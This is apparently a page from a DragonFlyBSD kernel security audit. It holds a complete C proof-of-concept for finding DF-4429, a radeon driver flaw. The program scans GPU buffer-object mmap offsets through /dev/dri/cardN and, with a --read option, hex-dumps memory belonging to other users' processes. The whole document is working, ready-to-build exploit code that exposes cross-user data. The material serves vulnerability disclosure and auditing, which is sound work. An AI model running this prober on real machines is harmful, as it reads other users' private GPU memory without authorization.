โฌข DragonFlyBSD Kernel Audit
DF-4429 / poc_mmap_bo.c
โ† back to finding โ†“ download raw
/*
 * DF-4429 PoC โ€” radeon GEM BO mmap ownership bypass prober.
 *
 * DragonFlyBSD radeon port: radeon_verify_access() (radeon_ttm.c:234) returns
 * 0 unconditionally, so any process that can open /dev/dri/cardN can mmap any
 * live GEM buffer object by (page-granular, best-match) vma offset.
 *
 * This tool sweeps single-page mmap()s starting at DRM_FILE_PAGE_OFFSET
 * (2^20 pages = 4 GiB, where the TTM vma manager starts allocating) and
 * reports every hit, with an optional hex dump proving cross-user read.
 *
 * Hardware required: an AMD/ATI radeon GPU with the DFly radeon KMS driver
 * attached (/dev/dri/cardN must exist). Not runnable on the audit QEMU guest
 * (no AMD GPU) โ€” see env.txt.
 *
 * Build:  cc -O2 -o poc_mmap_bo poc_mmap_bo.c
 * Run:    ./poc_mmap_bo [--read]
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#ifndef __unused
#define __unused __attribute__((__unused__))
#endif

/* radeon_ttm.c:48 โ€” DRM_FILE_PAGE_OFFSET (0x100000000ULL >> PAGE_SHIFT) */
#define DRM_FILE_PAGE_OFFSET_PAGES (0x100000000ULL >> 12)
#define PAGE_SZ 4096ULL

int main(int argc, char **argv)
{
	int do_read = (argc > 1 && strcmp(argv[1], "--read") == 0);
	const char *card = getenv("DRM_CARD") ? getenv("DRM_CARD") : "/dev/dri/card0";
	int fd = open(card, O_RDWR);
	unsigned long long off, hits = 0, misses = 0;
	const unsigned long long max_pages = 1ULL << 20; /* scan 4GiB..8GiB */

	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", card, strerror(errno));
		return 1;
	}

	for (off = 0; off < max_pages; off++) {
		unsigned long long byte_off =
		    (DRM_FILE_PAGE_OFFSET_PAGES + off) * PAGE_SZ;
		void *p = mmap(NULL, PAGE_SZ, PROT_READ | PROT_WRITE,
			       MAP_SHARED, fd, byte_off);
		if (p == MAP_FAILED) {
			misses++;
			continue;
		}
		hits++;
		printf("[HIT] mmap offset 0x%llx (page %llu) OK\n",
		       byte_off, DRM_FILE_PAGE_OFFSET_PAGES + off);
		if (do_read) {
			unsigned char *c = p;
			unsigned long long i, nz = 0;
			for (i = 0; i < PAGE_SZ; i++)
				if (c[i])
					nz++;
			printf("     non-zero bytes: %llu/4096 โ€” first 64:\n     ", nz);
			for (i = 0; i < 64; i++)
				printf("%02x", c[i]);
			printf("\n");
		}
		munmap(p, PAGE_SZ);
	}
	printf("done: %llu foreign-BO page hits, %llu misses\n", hits, misses);
	return 0;
}